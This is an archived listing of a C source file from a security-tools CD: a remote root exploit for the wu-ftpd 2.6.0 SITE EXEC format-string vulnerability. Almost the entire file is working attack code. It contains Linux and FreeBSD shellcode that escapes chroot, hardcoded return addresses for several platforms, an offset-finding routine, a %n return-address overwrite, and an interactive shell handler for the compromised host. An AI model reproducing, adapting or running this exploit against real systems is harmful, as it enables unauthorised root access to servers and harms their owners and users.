home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / wuftpd-2.6.0-exp2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  502 lines

  1. /*
  2.  * (c) 2000 venglin / b0f
  3.  * http://b0f.freebsd.lublin.pl
  4.  *
  5.  * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
  6.  *
  7.  * Idea and preliminary version of exploit by tf8
  8.  *
  9.  * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
  10.  * Dedicated to ksm.
  11.  *
  12.  * **PRIVATE**DO*NOT*DISTRIBUTE**
  13.  */
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <stdarg.h>
  18. #include <string.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <netinet/in.h>
  22. #include <netdb.h>
  23. #include <unistd.h>
  24. #include <arpa/inet.h>
  25.  
  26.  
  27. #define repln    if (getreply(0) < 0) return -1
  28. #define replv    if (getreply(1) < 0) return -1
  29.  
  30. #ifdef DEBUG
  31. #define repl replv
  32. #else
  33. #define repl repln
  34. #endif
  35.  
  36. char usage[] = "usage: bobek [-l login] [-o port] [-t type] hostname";
  37. char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
  38. FILE *cin, *cout;
  39.  
  40. char linuxcode[]= /* Lam3rZ chroot() code */
  41.     "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
  42.     "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
  43.     "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
  44.     "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
  45.     "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
  46.     "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
  47.     "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
  48.     "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
  49.     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
  50.     "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
  51.     "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
  52.  
  53. char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
  54.     "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
  55.     "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
  56.     "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
  57.     "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
  58.     "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
  59.     "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
  60.     "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
  61.     "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
  62.     "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
  63.     "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
  64.     "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
  65.     "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
  66.     "\x67\x6c\x69\x6e";
  67.  
  68. struct platforms
  69. {
  70.     char *os;
  71.     char *version;
  72.     char *code;
  73.     int align;
  74.     int eipoff;
  75.     long ret;
  76.     long retloc;
  77.     int sleep;
  78. };
  79.  
  80. struct platforms targ[] =
  81. {
  82.     { "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10,
  83.         0xbfbfcc04, 0 },
  84.     { "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510,
  85.         0xbfbfec0c, 0 },
  86.     { "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c,
  87.         0xbfbfcc04, 0 },
  88.     { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0xbfbf,
  89.         0xbfffcf74, 10 },
  90.  
  91.     { NULL, NULL, NULL, 0, NULL, NULL, 0 }
  92. };
  93.  
  94. long getip(name)
  95. char *name;
  96. {
  97.     struct hostent *hp;
  98.     long ip;
  99.     extern int h_errno;
  100.  
  101.     if ((ip = inet_addr(name)) < 0)
  102.     {
  103.         if (!(hp = gethostbyname(name)))
  104.         {
  105.             fprintf(stderr, "gethostbyname(): %s\n",
  106.                 strerror(h_errno));
  107.             exit(1);
  108.         }
  109.         memcpy(&ip, (hp->h_addr), 4);
  110.     }
  111.  
  112.     return ip;
  113. }
  114.  
  115. int connecttoftp(host, port)
  116. char *host;
  117. int port;
  118. {
  119.     int sockfd;
  120.     struct sockaddr_in cli;
  121.  
  122.     bzero(&cli, sizeof(cli));
  123.     cli.sin_family = AF_INET;
  124.     cli.sin_addr.s_addr=getip(host);
  125.     cli.sin_port = htons(port);
  126.  
  127.     if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  128.     {
  129.         perror("socket");
  130.         return -1;
  131.     }
  132.  
  133.     if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) 
  134.     {
  135.                 perror("connect");
  136.         close(sockfd);
  137.         return -1;
  138.     }
  139.  
  140.     cin = fdopen(sockfd, "r");
  141.     cout = fdopen(sockfd, "w");
  142.  
  143.     if (!cin || !cout)
  144.     {
  145.         close(sockfd);
  146.         return -1;
  147.     }
  148.  
  149.     return sockfd;
  150. }
  151.  
  152. int command(const char *fmt, ...)
  153. {
  154.     va_list args;
  155.  
  156.     if (!cout)
  157.         return -1;
  158.  
  159.     va_start(args, fmt);
  160.     vfprintf(cout, fmt, args);
  161.  
  162. #ifdef DEBUG
  163.     fprintf(stderr, "--> ");
  164.     vfprintf(stderr, fmt, args);
  165.     fputc('\n', stderr);
  166. #endif
  167.  
  168.     va_end(args);
  169.  
  170.     fputs("\r\n", cout);
  171.     (void)fflush(cout);
  172.     return 0;
  173. }
  174.  
  175. int getreply(v)
  176. int v;
  177. {
  178.     if (!(fgets(recvbuf, BUFSIZ, cin)))
  179.         return -1;
  180.  
  181.     if (v)
  182.         fprintf(stderr, "<-- %s", recvbuf);
  183.  
  184.     return 0;
  185. }
  186.  
  187. int logintoftp(login, passwd)
  188. char *login, *passwd;
  189. {
  190.     repl;
  191.  
  192.     if (strncmp(recvbuf, "220", 3))
  193.         return -1;
  194.  
  195.     if ((command("USER %s", login)) < 0)
  196.         return -1;
  197.  
  198.     repl;
  199.  
  200.     if (strncmp(recvbuf, "331", 3))
  201.     {
  202.         puts(recvbuf);
  203.         return -1;
  204.     }
  205.  
  206.     if ((command("PASS %s", passwd) < 0))
  207.         return -1;
  208.  
  209.     repl;
  210.  
  211.     if (strncmp(recvbuf, "230", 3))
  212.     {
  213.         puts(recvbuf);
  214.         return -1;
  215.     }
  216.  
  217.     return 0;
  218. }
  219.  
  220. int checkvuln(void)
  221. {
  222.     command("SITE EXEC %%p");
  223.     repl;
  224.  
  225.     if(strncmp(recvbuf, "200-", 4))
  226.         return -1;
  227.  
  228.     if(strncmp(recvbuf+4, "0x", 2))
  229.         return -1;
  230.  
  231.     repl;
  232.  
  233.     return 0;
  234. }
  235.  
  236. int findeip(eipoff, align)
  237. int eipoff, align;
  238. {
  239.     int i, j, off;
  240.     char *p1;
  241.     char eip1[10], eip2[10];
  242.  
  243.     for (i=eipoff;;i+=8)
  244.     {
  245.         fprintf(stderr, "at offset %d\n", i);
  246.         strcpy(sendbuf, "SITE EXEC ");
  247.  
  248.         for (j=0;j<align;j++) strcat(sendbuf, "a");
  249.         strcat(sendbuf, "abcd");
  250.  
  251.         for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f");
  252.         for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d");
  253.         strcat(sendbuf, "|%%.8x|%%.8x");
  254.  
  255.         if (command(sendbuf) < 0)
  256.             return -1;
  257.  
  258.         repl;
  259.  
  260.         if (!(p1 = strchr(recvbuf, '|')))
  261.             return -1;
  262.  
  263.         strncpy(eip1, p1+1, 8);
  264.         strncpy(eip2, p1+10, 8);
  265.  
  266.         eip1[8] = eip2[8] = '\0';
  267.  
  268.         if (!(strcmp(eip1, "64636261")))
  269.         {
  270.             off = i;
  271.             break;
  272.         }
  273.  
  274.         if (!(strcmp(eip2, "64636261")))
  275.         {
  276.             off = i + 4;
  277.             break;
  278.         }
  279.  
  280.         repl;
  281.     }
  282.  
  283.     repl;
  284.  
  285.     return off;
  286. }
  287.  
  288. char *putshell(type)
  289. int type;
  290. {
  291.     static char buf[400];
  292.     int noplen;
  293.  
  294.     char *code = targ[type].code;
  295.  
  296.     noplen = sizeof(buf) - strlen(code) - 2;
  297.  
  298.     memset(buf, 0x90, noplen);
  299.     buf[noplen+1] = '\0';
  300.     strcat(buf, code);
  301.  
  302.     return buf;
  303. }
  304.  
  305. int overwrite(ptr, off, align, retloc, eipoff)
  306. long ptr, retloc;
  307. int off, align, eipoff;
  308. {
  309.     int i, size = 0;
  310.     char buf[100];
  311.  
  312.     fprintf(stderr, "RET: %p, RET location: %p,"
  313.         " RET location offset on stack: %d\n",
  314.         (void *)ptr, (void *)retloc, off);
  315.  
  316.     if (off >= 12)
  317.     {
  318.  
  319.         strcpy(sendbuf, "SITE EXEC ");
  320.  
  321.         for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
  322.         for (i=0;i<(off-eipoff-4)/8;i++) strcat(sendbuf, "%%d");
  323.  
  324.         if (((off-eipoff-4) % 8) != 0) strcat(sendbuf, "%%d");
  325.  
  326.         if (command(sendbuf) < 0)
  327.             return -1;    
  328.  
  329.         repl;
  330.  
  331.         size = strlen(recvbuf+4) - 2;
  332.  
  333.         repl;
  334.     }
  335.  
  336.     fprintf(stderr, "Reply size: %d, New RET: %p\n", size,
  337.         (void *)(ptr-size));
  338.  
  339.     strcpy(sendbuf, "SITE EXEC ");
  340.     for (i=0;i<align;i++) strcat(sendbuf, "a");
  341.  
  342.     sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff),
  343.         (((int)retloc & 0xff00) >> 8),
  344.         (((int)retloc & 0xff0000) >> 16),
  345.         (((int)retloc & 0xff000000) >> 24));
  346.  
  347.     strcat(sendbuf, buf);
  348.  
  349.     for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
  350.     for (i=0;i<(off-eipoff-4)/8;i++) strcat(sendbuf, "%%d");
  351.  
  352.     if (((off-eipoff-4) % 8) != 0) strcat(sendbuf, "%%d");
  353.  
  354.     strcat(sendbuf, "%%.");
  355.     sprintf(buf, "%d", (int)ptr-size);
  356.     strcat(sendbuf, buf);
  357.     strcat(sendbuf, "d%%n");
  358.  
  359.     if (command(sendbuf) < 0)
  360.         return -1;
  361.  
  362.     return 0;
  363. }
  364.  
  365. int sh(sockfd)
  366. int sockfd;
  367. {
  368.     char buf[BUFSIZ];
  369.     int c;
  370.     fd_set rf, drugi;
  371.     char cmd[] = "uname -a ; pwd ; id\n";
  372.         
  373.     FD_ZERO(&rf);
  374.     FD_SET(0, &rf);
  375.     FD_SET(sockfd, &rf);
  376.     write(sockfd, cmd, strlen(cmd));
  377.  
  378.     while (1)
  379.     {
  380.         bzero(buf, BUFSIZ);
  381.         memcpy (&drugi, &rf, sizeof(rf));
  382.         select(sockfd+1, &drugi, NULL, NULL, NULL);
  383.         if (FD_ISSET(0, &drugi))
  384.         {
  385.             c = read(0, buf, BUFSIZ);
  386.             send(sockfd, buf, c, 0x4);
  387.         }
  388.  
  389.         if (FD_ISSET(sockfd, &drugi))
  390.         {
  391.             c = read(sockfd, buf, BUFSIZ);
  392.             if (c<0) return 0;
  393.             write(1,buf,c);
  394.         }
  395.     }
  396. }
  397.  
  398. int main(argc, argv)
  399. int argc;
  400. char **argv;
  401. {
  402.     extern int optind, opterr;
  403.     extern char *optarg;
  404.     int ch, type, port, eipoff, fd, retoff, align;
  405.     long ret, retloc;
  406.     char login[BUFSIZ], password[BUFSIZ];
  407.  
  408.     opterr = type = 0;
  409.     strcpy(login, "ftp");
  410.     port = 21;
  411.  
  412.     while ((ch = getopt(argc, argv, "l:d:t:o")) != -1)
  413.         switch((char)ch)    
  414.         {
  415.             case 'l':
  416.                 strcpy(login, optarg);
  417.                 break;
  418.  
  419.             case 't':
  420.                 type = atoi(optarg);
  421.                 break;
  422.  
  423.             case 'o':
  424.                 port = atoi(optarg);
  425.                 break;
  426.  
  427.             case '?':
  428.             default:
  429.                 puts(usage);
  430.                 exit(0);
  431.         }
  432.  
  433.     argc -= optind;
  434.     argv += optind;
  435.  
  436.     fprintf(stderr, "Selected platform: %s with WUFTPD %s\n\n",
  437.         targ[type].os, targ[type].version);
  438.  
  439.     eipoff = targ[type].eipoff;
  440.     align = targ[type].align;
  441.     ret = targ[type].ret;
  442.     retloc = targ[type].retloc;
  443.  
  444.     if (argc != 1)
  445.     {
  446.         puts(usage);
  447.         exit(0);
  448.     }
  449.  
  450.     strcpy(password, putshell(type));
  451.  
  452.     if ((fd = connecttoftp(*argv, port)) < 0)
  453.     {    
  454.         (void)fprintf(stderr, "Connection to %s failed.\n", *argv);
  455.         exit(1);
  456.     }
  457.  
  458.     (void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);
  459.  
  460.     if (logintoftp(login, password) < 0)
  461.     {
  462.         (void)fprintf(stderr, "Logging in to %s (%s) failed.\n",
  463.             *argv, login);
  464.         exit(1);
  465.         }
  466.  
  467.     (void)fprintf(stderr, "Logged in as %s. Checking vulnerability.\n",
  468.         login);
  469.  
  470.     sleep(targ[type].sleep);
  471.  
  472.     if (checkvuln() < 0)
  473.     {
  474.         (void)fprintf(stderr, "Sorry, this version isn't"
  475.             " vulnerable or uses internal vsnprintf().\n");
  476.         exit(1);
  477.     }
  478.  
  479.     (void)fprintf(stderr, "Ok, trying to find offset (initial: %d)\n",
  480.         eipoff);
  481.  
  482.     if ((retoff = findeip(eipoff, align)) < 0)
  483.     {
  484.         (void)fprintf(stderr, "\nError finding offset. Adjust"
  485.             " align.\n");
  486.         exit(1);
  487.     }
  488.  
  489.     if (overwrite(ret, retoff, align, retloc, eipoff) < 0)
  490.     {
  491.         (void)fprintf(stderr, "Error overwriting RET addr.\n");
  492.         exit(1);
  493.     }
  494.  
  495.     fprintf(stderr, "Wait 10-20 seconds for reply. Enjoy your shell.\n");
  496.  
  497.     sh(fd);
  498.  
  499.     exit(0);
  500. }
  501.  
  502.